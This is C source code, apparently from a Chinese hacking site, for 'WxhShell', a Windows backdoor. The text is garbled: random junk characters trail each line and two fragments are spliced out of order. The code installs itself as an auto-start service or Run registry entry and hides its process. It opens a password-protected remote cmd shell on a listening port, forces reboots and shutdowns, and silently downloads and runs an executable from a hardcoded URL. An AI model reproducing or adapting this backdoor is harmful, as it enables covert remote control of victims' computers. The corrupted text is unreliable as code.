    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *}7U`Aa  
    if(Boot(SHUTDOWN)) ;jF%bE3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;9z 5'  
    else { Kf|0*c  
    closesocket(wsh); 5H~@^!7t  
    ExitThread(0); hUBF/4s\  
    } )q^(T1  
    break; li@k Lh  
    } ATo}FL 2  
  // 获取shell n7@j}Q(&?  
  case 's': { YjX*)Q_sl?  
    CmdShell(wsh); f:S}h-AL&  
    closesocket(wsh); u9BjgK(M  
    ExitThread(0); xwi!:PAf,o  
    break; O6/xPeak  
  } vpi l$Uq  
  // 退出 !h?=Wv ==]  
  case 'x': { !F-sA: xq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /Ad6+cY  
    CloseIt(wsh); 2g0K76=Co:  
    break; Y^yG/F  
    } )]3L/  
  // 离开 $:(z}sYQ7  
  case 'q': { zqY)dk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |g+!  
    closesocket(wsh); u"\=^F  
    WSACleanup(); A4}#U=3tI  
    exit(1); ERp{gB2U?  
    break; pcNSL'u+  
        } J,9%%S8/C  
  } vsc&Ju%k  
  } *l:&f_ngV  
?@>;/@  
  // 提示信息 K|Om5 p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sLZ>v  
} Et.j1M|g  
  } Rh[Ibm56  
my4\mi6P  
  return; =D}4X1l  
} brfKd]i  
wW^Zb  
// shell模块句柄 Nkx0CG*  
int CmdShell(SOCKET sock) B2Qp}  
{ @"w2R$o  
STARTUPINFO si; vcwK6G  
ZeroMemory(&si,sizeof(si)); xb]o dYGdW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0`6),R'x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UDM yyVd  
PROCESS_INFORMATION ProcessInfo; A*Rn<{U  
char cmdline[]="cmd"; 6Etss!_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <&6u]uKrW  
  return 0; W-ez[raY  
} k8 u%$G  
b9DR%hO:  
// 自身启动模式 `[OXVs,7"  
int StartFromService(void)  `Klrr  
{ -<PC"B  
typedef struct mbGcDG[HQ  
{ >K5~:mx#3  
  DWORD ExitStatus; (![t_r0  
  DWORD PebBaseAddress; _; 7fraqX  
  DWORD AffinityMask; gJKKR]4*  
  DWORD BasePriority; \q,s?`+B  
  ULONG UniqueProcessId; /LF3O~Go  
  ULONG InheritedFromUniqueProcessId; 05"qi6tncz  
}   PROCESS_BASIC_INFORMATION; nc&Jmo7  
|Q5+l.%  
PROCNTQSIP NtQueryInformationProcess; M!#AfIyB  
<XvYa{t]{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {\L|s5=yr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t$5jx  
+aj^Cs1$  
  HANDLE             hProcess;  VGB-h'  
  PROCESS_BASIC_INFORMATION pbi; SY|Ez!tU:N  
a*s\Em7f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /BT1oWi1y  
  if(NULL == hInst ) return 0; z&>|*C.Y  
ULIFSd Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :/i~y$t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;iQp7aW{$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +9C;<f  
jq[x DwPG  
  if (!NtQueryInformationProcess) return 0; l2s{~IC  
>(3'Tnu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l]) Q.m  
  if(!hProcess) return 0; Z%e|*GS{  
t!0dJud  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <sc\EK  
R6<4"?*r  
  CloseHandle(hProcess); x2m]Us@LIU  
A0>x9XSkJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `.8UKSH+  
if(hProcess==NULL) return 0; m8HYW zN  
;ctU&`  
HMODULE hMod; X4'kZ'Sy<  
char procName[255]; i. M2E$b|  
unsigned long cbNeeded; ]u0Jd#@  
JGgxAd{L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GS4_jvD-  
CV3DMA  
  CloseHandle(hProcess); r.<JDdj  
)x[HuIRaa  
if(strstr(procName,"services")) return 1; // 以服务启动 8gI\zgS  
AerFgQiS  
  return 0; // 注册表启动 W>/UBN3  
} c{VJ2NQ+  
[O 1|75  
// 主模块 anC+r(jjg9  
int StartWxhshell(LPSTR lpCmdLine) + Kk@Q  
{ H;y}-=J+  
  SOCKET wsl; ;{Jb6'K1h  
BOOL val=TRUE;  CC#C  
  int port=0; u(2BQO7  
  struct sockaddr_in door; 7=3O^=Q ^Q  
*/_@a?  
  if(wscfg.ws_autoins) Install(); q% E C  
z 6cYC,  
port=atoi(lpCmdLine); !Rqx2Q  
^Plc}W7h  
if(port<=0) port=wscfg.ws_port; 75AslL?t  
LM6]kll  
  WSADATA data; 8t[t{"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +>#e=nH  
Nv3tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y|RdzC M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R@n5AN(  
  door.sin_family = AF_INET; DxfMqH[vs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -)RJ\V^{9  
  door.sin_port = htons(port); De]^&qw(  
n1 v,#GE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M2p<u-6 "  
closesocket(wsl); c[:Wf<% |  
return 1; X+at%L=  
} Hg whe=P  
h. ^o)T  
  if(listen(wsl,2) == INVALID_SOCKET) { OL9]*G?F  
closesocket(wsl); ?gG,t4D  
return 1; )eq}MaW+j  
} )Mi'(C;  
  Wxhshell(wsl); rKp1%S1  
  WSACleanup(); 4+Ti7p06&\  
g@u;Y5  
return 0; ]QS](BbD:  
VA2<r(y~(  
} @h(!<Ux_  
b pp*  
// 以NT服务方式启动 :~33U)?{T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V{GXc:=  
{ ttj2b$M,  
DWORD   status = 0; )E~_rDTl  
  DWORD   specificError = 0xfffffff; {MxnIg7'  
5p )IV>G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }{mG/(LX8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $',3Pv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !qaDn.9  
  serviceStatus.dwWin32ExitCode     = 0; zAI|Jv @  
  serviceStatus.dwServiceSpecificExitCode = 0; {XHk6w *-  
  serviceStatus.dwCheckPoint       = 0; A$<>JVv  
  serviceStatus.dwWaitHint       = 0; ^jOCenE 3  
<soj&f+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {,Fcd(MU  
  if (hServiceStatusHandle==0) return; )UP8#|$#T  
*]2R.u  
status = GetLastError(); ^W}MM8 '  
  if (status!=NO_ERROR) 1 7i$8  
{ ~<eVl l=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G * @@K  
    serviceStatus.dwCheckPoint       = 0; P}l#VJWp  
    serviceStatus.dwWaitHint       = 0; IXJ6PpQLv  
    serviceStatus.dwWin32ExitCode     = status; ]738Z/)^  
    serviceStatus.dwServiceSpecificExitCode = specificError; '=@r7g.2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|K("AVP:  
    return; 4Cd#sQ  
  } cUsL 6y  
48k 7/w\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]9@X? q  
  serviceStatus.dwCheckPoint       = 0; Of#K:`1@  
  serviceStatus.dwWaitHint       = 0; [-]A^?yBM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Efvq?cG&  
} X(b1/lzA  
6e/7'TYwT  
// 处理NT服务事件,比如:启动、停止 O8[k_0@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5A,=vE  
{ m r2S!  
switch(fdwControl) ZMe}M!V  
{ pX^=be_  
case SERVICE_CONTROL_STOP: dr{1CP  
  serviceStatus.dwWin32ExitCode = 0; #!L%J<MX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lvx]jd\  
  serviceStatus.dwCheckPoint   = 0; eK *W =c#@  
  serviceStatus.dwWaitHint     = 0; 2!idy]vy_  
  { NhCAv +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *:[b'D!A  
  } ?DRR+n _  
  return; c(E,&{+E  
case SERVICE_CONTROL_PAUSE: |mvM@V;^8{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B#:E?a;{  
  break;  -tMA  
case SERVICE_CONTROL_CONTINUE: =R2l3-HA=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EU9[F b]  
  break; |e+aZ%g  
case SERVICE_CONTROL_INTERROGATE: VAg68 EbnF  
  break; . wmkj  
}; A9iQ{l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r*]uR /Z$  
} wcl!S{  
A'`P2Am  
// 标准应用程序主函数 3AvcJ1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %:%MUdl6  
{ (s ;zRb!4L  
U&s(1~e\  
// 获取操作系统版本 w_GLC%|7  
OsIsNt=GetOsVer(); V>r j$Nc]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z7oaQ\fR  
{>A 8g({i  
  // 从命令行安装 &#Wkww&Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); }I)z7l.  
*.xZfi_|  
  // 下载执行文件 YMK>+y[+4  
if(wscfg.ws_downexe) { "d2LyQy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zG<0CZQ8  
  WinExec(wscfg.ws_filenam,SW_HIDE); VD9J}bgJ  
} K]9tc)  
5/k)\`  
if(!OsIsNt) { h>.9RX &  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;NBT 4  
HideProc(); F46O!xb%  
StartWxhshell(lpCmdLine); {vjq y&?y  
} FJW`$5?  
else LK{a9` h  
  if(StartFromService()) sC9-+}  
  // 以服务方式启动 YyG~#6aCh  
  StartServiceCtrlDispatcher(DispatchTable); _m" ^lo  
else VGfD;8]z  
  // 普通方式启动 |KTpK(6p  
  StartWxhshell(lpCmdLine); (5>{?dR)|  
y. T ct.  
return 0; tjt=N\;  
} q;KshpfRMD  
xTGP  
[l`^fnKt  
1O|RIv7F[/  
=========================================== JtThkh'-"  
B{^`8Htrn  
r,QJG$ Jo  
X E!2Q7Q9  
.HQVj'g  
a pKa4nI  
" G[y&`Qc)G  
!'Gb$l!  
#include <stdio.h> IruyE(;HS  
#include <string.h> 7=L:m7T  
#include <windows.h> 2lX[hFa5  
#include <winsock2.h> }k4`  
#include <winsvc.h> ?&{S~[;l  
#include <urlmon.h> fMgcK$  
Xqc'R5C w  
#pragma comment (lib, "Ws2_32.lib") M}R@ K;%  
#pragma comment (lib, "urlmon.lib") 2Zv,K-G  
[]^PJ  
#define MAX_USER   100 // 最大客户端连接数 O_qu;Dx!  
#define BUF_SOCK   200 // sock buffer i0i.sizu  
#define KEY_BUFF   255 // 输入 buffer *Pa2bY3:  
FZM ]o  
#define REBOOT     0   // 重启 {yGZc3e1j  
#define SHUTDOWN   1   // 关机 )6PJ*;p-  
2nG{>,#C:O  
#define DEF_PORT   5000 // 监听端口 K<Yn_G  
u>JqFw1  
#define REG_LEN     16   // 注册表键长度 Wm];pqN  
#define SVC_LEN     80   // NT服务名长度 ;LwFbkOuU  
!"Z."fm*  
// 从dll定义API QwKky ^A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > #Grf)@"6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %4QoF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t;Fbt("]:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <=B1"'\  
*[XN.sb8E  
// wxhshell配置信息 ,%"\\#3S  
struct WSCFG { XHwZ+=v  
  int ws_port;         // 监听端口 yfRUTG  
  char ws_passstr[REG_LEN]; // 口令 [)C)p*!Y)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3fbD"gL  
  char ws_regname[REG_LEN]; // 注册表键名 Eg287B  
  char ws_svcname[REG_LEN]; // 服务名 1t~S3Q||>]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w>/pQ6=OFR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,qBnqi[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n1k$)S$iiy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vz=j )[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f4 Sw,A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m!FM+kge  
c0,gfY%sI$  
}; <;TP@-a  
5JXzfc9rL  
// default Wxhshell configuration ;%b <uV  
struct WSCFG wscfg={DEF_PORT, ,=q7}5o Y  
    "xuhuanlingzhe", a[d{>Fb.  
    1, TnMVHO-  
    "Wxhshell", SevfxR  
    "Wxhshell", &cn%4Er  
            "WxhShell Service", g:uaI  
    "Wrsky Windows CmdShell Service", HNkZ1+P {  
    "Please Input Your Password: ", &K}(A{  
  1, 0k] ju  
  "http://www.wrsky.com/wxhshell.exe", / %U~lr  
  "Wxhshell.exe" .zSimEOF  
    }; UG^?a  
>? A `C!i  
// 消息定义模块 dwf #~7h_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y9I #Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cfy/*|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5@r_<J<>  
char *msg_ws_ext="\n\rExit."; h Vt+%tmNy  
char *msg_ws_end="\n\rQuit."; !lt\2Ae  
char *msg_ws_boot="\n\rReboot..."; [M8qU$&?]  
char *msg_ws_poff="\n\rShutdown..."; c5mhl;+'  
char *msg_ws_down="\n\rSave to "; 4Q`=t &u  
\ 3js}  
char *msg_ws_err="\n\rErr!"; B1i!te}*  
char *msg_ws_ok="\n\rOK!"; 2A18hP`^  
DbNi;m  
char ExeFile[MAX_PATH]; nV,{w4t+  
int nUser = 0; BF1O|Q|d6  
HANDLE handles[MAX_USER]; *nUpO]  
int OsIsNt; Dry;$C}P  
r{6B+3J  
SERVICE_STATUS       serviceStatus; D0E"YEo\nv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7&;jje[ <g  
pb2{J#  
// 函数声明 @qr3v>3X<  
int Install(void); 0F0(]7g^  
int Uninstall(void); >I66R;  
int DownloadFile(char *sURL, SOCKET wsh); (J;zkb  
int Boot(int flag); lWyP[>*  
void HideProc(void); r1az=$  
int GetOsVer(void); by:xD2 5  
int Wxhshell(SOCKET wsl); Qig!NgOM  
void TalkWithClient(void *cs); J ]l@ r  
int CmdShell(SOCKET sock); ??e#E[bI  
int StartFromService(void); j}?ZsnqV  
int StartWxhshell(LPSTR lpCmdLine); pil*/&pB  
[, szx1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (!&O4C5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sy0s `\[  
Kg0\Pvg8?T  
// 数据结构和表定义 4uAb LSh9  
SERVICE_TABLE_ENTRY DispatchTable[] = mX_Uhpw?t  
{ -Fw4;&>  
{wscfg.ws_svcname, NTServiceMain}, MzW$Sl&:  
{NULL, NULL} 0&L0j$&h  
}; PG~m-W+  
Ckl]fy@D}  
// 自我安装 yI)fu^  
int Install(void) D~`YRbv  
{ S?z j&X Y3  
  char svExeFile[MAX_PATH]; ~x^+OXf!^g  
  HKEY key; xg1r 3  
  strcpy(svExeFile,ExeFile); $6?KH7lA  
(pxz#B4  
// 如果是win9x系统,修改注册表设为自启动 P}u<NPy3Q  
if(!OsIsNt) { bDh(;%=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9NoPrR=x1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zmS-s\$,  
  RegCloseKey(key); 7a.#F]`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {]m e?I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P>,D$-3  
  RegCloseKey(key); xu pdjT%4  
  return 0; KUn5S&eB  
    } /(L1!BPP9m  
  } yaGVY*M0  
} {1&,6kJF&9  
else { dz.MH  
0`Qs=R`OM  
// 如果是NT以上系统,安装为系统服务 ~,4Znuin  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]vyF&`phb  
if (schSCManager!=0) [5#/& k{  
{ MZF ;k$R  
  SC_HANDLE schService = CreateService wDTV /"Y  
  ( /PuWJPy;  
  schSCManager, !Y i<h/:  
  wscfg.ws_svcname, mZ&Mj.0+~  
  wscfg.ws_svcdisp, uUB%I 8  
  SERVICE_ALL_ACCESS, ]OUOL/J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WD1$"}R  
  SERVICE_AUTO_START, [5:7 WqB  
  SERVICE_ERROR_NORMAL, XD>@EYN<X  
  svExeFile, 13@| {H CB  
  NULL, oRF"[G8BV  
  NULL, 6$;)CO!h  
  NULL, EqU[mqeF  
  NULL, .F|WQ7Mu  
  NULL !@ '2  
  ); C&"2`ll  
  if (schService!=0) P z!yIj  
  { z,P7b]KVe  
  CloseServiceHandle(schService); TzXl ?N  
  CloseServiceHandle(schSCManager); ';V+~pi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >#|Q,hVU5  
  strcat(svExeFile,wscfg.ws_svcname); {vlh ,0~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >k-poBw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !XC7F UO  
  RegCloseKey(key); 7FFYSv,[:  
  return 0; C#0Wo  
    } 5ZxBmQ  
  } g?M69~G$:x  
  CloseServiceHandle(schSCManager); =Z$6+^L  
} ( #Aq*2Z.  
} (8R M|&  
S5!2%-;<k  
return 1; xI8*sTx 6  
} L+CSF ]  
Yl=  |P`  
// 自我卸载 v836nxLM  
int Uninstall(void) gk` .8o  
{ n|6yz[N  
  HKEY key; 1vb0G ;a;|  
~?r6Ax-R  
if(!OsIsNt) { `lzH:B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (*]Y<ve  
  RegDeleteValue(key,wscfg.ws_regname); DdgFBO  
  RegCloseKey(key); (*tJCz`Sj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p(>'4#|qy  
  RegDeleteValue(key,wscfg.ws_regname); "bH ~CG:Y  
  RegCloseKey(key); ^Pwq`G A  
  return 0; 0qd`Pf   
  } hSH-Ck@Qy  
} Y$^QH.h  
} f*Bc`+G  
else { ]CYe=m1<2Q  
Af~AE2b3"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ XMC$s  
if (schSCManager!=0) J)]W[Nk  
{ 7;{F"/A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $mlcaH  
  if (schService!=0) }Of^Y@{q.  
  { fBmx +7  
  if(DeleteService(schService)!=0) { ovp>"VuC  
  CloseServiceHandle(schService); |zE7W  
  CloseServiceHandle(schSCManager); Tj:F Qnx  
  return 0; ^M"g5+ q  
  } 7=9jXNk Y  
  CloseServiceHandle(schService); (%1*<6ka  
  } 3@PVUJ0B|  
  CloseServiceHandle(schSCManager); :&MiO3#+  
} A6VkVJZx  
} rxA<\h,A  
X+iULr.^`~  
return 1; CAO$Zt  
} y-YYDEl  
 Sk-Ti\  
// 从指定url下载文件 )XFMlSx)  
int DownloadFile(char *sURL, SOCKET wsh) $8)/4P?OL  
{ :([,vO:  
  HRESULT hr; Lfor 0-j  
char seps[]= "/"; +;T%7j"wz  
char *token; k6XO-a f  
char *file; {ib`mC^  
char myURL[MAX_PATH]; ocvBKsfhE`  
char myFILE[MAX_PATH]; 7">.{ @S  
lU?"\m  
strcpy(myURL,sURL); XB?!V|bno  
  token=strtok(myURL,seps); !u"Hf7/  
  while(token!=NULL) :}lE@Y,R   
  { &nq[Vy0kO4  
    file=token; Uvp?HZ\Z  
  token=strtok(NULL,seps); Oe?nX>  
  } E_? M&  
j2z$kw%  
GetCurrentDirectory(MAX_PATH,myFILE);  EpiagCS  
strcat(myFILE, "\\"); ${?Px c{-  
strcat(myFILE, file); A /MOY@%G  
  send(wsh,myFILE,strlen(myFILE),0); >v(Xc/oI  
send(wsh,"...",3,0); x-"7{@lz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 -oQs?  
  if(hr==S_OK) JO$0Z  
return 0; Gfvz%%>l  
else _T1e##Sq,  
return 1; ixp%aRRP  
4#o` -vcW  
} @{bf]Oc  
hX^XtIC=  
// 系统电源模块 %Z.!Bm:  
int Boot(int flag) )_BteLo-  
{ N.fIg  
  HANDLE hToken; Gce![<|ph  
  TOKEN_PRIVILEGES tkp; DP?gozm  
35ng_,t $  
  if(OsIsNt) { $HaM, Oh;i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?HW*qD#k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qRr;&M &t_  
    tkp.PrivilegeCount = 1; *2 [r?!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;;2s{{(R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V Bg\)r[  
if(flag==REBOOT) { =lzjMRX(?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Rf<6/A  
  return 0; 0_ ;-QAd  
} Y,+$vj:y8  
else { s}5;)>3~@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J~~WV<6  
  return 0; M;V2O;  
} *@D.=i>  
  } ^mH^cP?/  
  else { +Ix;~  
if(flag==REBOOT) { FN G]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NL1Ajms`  
  return 0; T8v>J4@t  
} W&* 0F~  
else { ?(E$|A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `CRW2^g  
  return 0; f- _~rQ  
} `}18A.K  
} xw`Pq6  
DRal{?CH  
return 1; L9@nx7D  
} =ove#3  
Lb(=:Z!{  
// win9x进程隐藏模块 orJN#0v4  
void HideProc(void) cZA l.}/  
{ caS5>wk`R  
6?r}bs6Msx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QO~!S_FRH  
  if ( hKernel != NULL ) L_Z>*s&  
  { u1rT:\G1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l7\Bq+Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G{)2f &<  
    FreeLibrary(hKernel); ttgb"Wb%S  
  } ZPRkk?M}.  
!ouJ3Jn   
return; i ,ga2{GnM  
} I~|.Re9a  
!2=< MO  
// 获取操作系统版本  BVU>M*k  
int GetOsVer(void) DYx3 NDX7  
{ zW8rC!  
  OSVERSIONINFO winfo; s>ilxLSX]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }Dp/K4  
  GetVersionEx(&winfo); zr2oU '+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %d3qMnYu  
  return 1; 0sIwU!=vm  
  else |U)M.\h  
  return 0; ^-Bx zOp  
} ,#m:U5#h  
R `  
// 客户端句柄模块 ]2Zl\}GwY  
int Wxhshell(SOCKET wsl) "2# #Fcu=  
{ Dn~c  
  SOCKET wsh; sN"<baZ  
  struct sockaddr_in client; MfQ 9d9  
  DWORD myID; 4d-f 6iiFV  
OO#_ 0qK  
  while(nUser<MAX_USER) gM>geWB<  
{ ,v,#f .  
  int nSize=sizeof(client); )B)e cJJ_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nHyqfd<V>  
  if(wsh==INVALID_SOCKET) return 1; RzhAX I=  
4j_\_:$w<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &L`^\B]k|  
if(handles[nUser]==0) "Rc Ny~  
  closesocket(wsh); l$/.B=]  
else #83`T&Xw*  
  nUser++; []OmztB  
  } ^pwT8Bp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7bSj[kuN  
>UNx<=ry  
  return 0; \w#)uYK{i_  
} SR_<3WW  
Zo`_vx/{j  
// 关闭 socket l$Y*ii  
void CloseIt(SOCKET wsh) q]Vxf!0*>  
{ #K&XY6cTj  
closesocket(wsh); 1 K(0tG:5  
nUser--; n,D&pl9f  
ExitThread(0); f*o+g:]3  
} qBF6LhR  
hg7^#f95u  
// 客户端请求句柄 WF] |-)vw  
void TalkWithClient(void *cs) @B \$ me  
{ j[CXIz?c  
 gx9=L&=d  
  SOCKET wsh=(SOCKET)cs; L9{y1'')  
  char pwd[SVC_LEN]; #?"^:,Y  
  char cmd[KEY_BUFF]; C&HN#Q_  
char chr[1]; ^|%u%UR  
int i,j; ;vG%[f`K  
?k`UQi]Q  
  while (nUser < MAX_USER) { u+ b `aB  
@)XR  
if(wscfg.ws_passstr) { go9tvK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Bq4! n+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :'2h0 5R  
  //ZeroMemory(pwd,KEY_BUFF); |"g+p)A  
      i=0; Pj8W]SA_  
  while(i<SVC_LEN) { +wp!hk&C5  
?U+nR/H:6  
  // 设置超时  < v1.+  
  fd_set FdRead; i^@hn>s$  
  struct timeval TimeOut; `ztp u ~?  
  FD_ZERO(&FdRead); K;7ea47m N  
  FD_SET(wsh,&FdRead); BD- c<K"  
  TimeOut.tv_sec=8; f cnv[B..{  
  TimeOut.tv_usec=0; $MqEM~^=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MzMVs3w|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h0] bIT{  
$px1D$F!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `m}G{jfk  
  pwd=chr[0]; 6zIK%<  
  if(chr[0]==0xd || chr[0]==0xa) { .On3ZN  
  pwd=0; NvvD~B b  
  break; yMEI^,0"  
  } ka@yQV  
  i++; 2y IDyo  
    } E|3[$?=R  
}Te+Rv7{E  
  // 如果是非法用户,关闭 socket Dtox/ ,"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 97dF  
} E~c>j<'-"<  
e=+q*]>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >}B53.;.k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9a#Y D;-p  
Tol V3  
while(1) { dVMLn4[,MA  
M?5voV*  
  ZeroMemory(cmd,KEY_BUFF); ?rY+,nQP  
hcpe~spz9|  
      // 自动支持客户端 telnet标准   Wr@q+Whq  
  j=0; Wo  Z@  
  while(j<KEY_BUFF) { \E6 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =QIu3%&  
  cmd[j]=chr[0]; XZ2 ji_D  
  if(chr[0]==0xa || chr[0]==0xd) { E5?$=cL?  
  cmd[j]=0; X/bu z  
  break; U] P{~  
  } `a[ V_4wO  
  j++; ,Iru_=Wk~  
    } {8 &=t8,c  
<E:_9#Z0sc  
  // 下载文件 ^9]g5.z:  
  if(strstr(cmd,"http://")) { nt@uVwfQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PzT@q\O  
  if(DownloadFile(cmd,wsh)) A@;{ #.O  
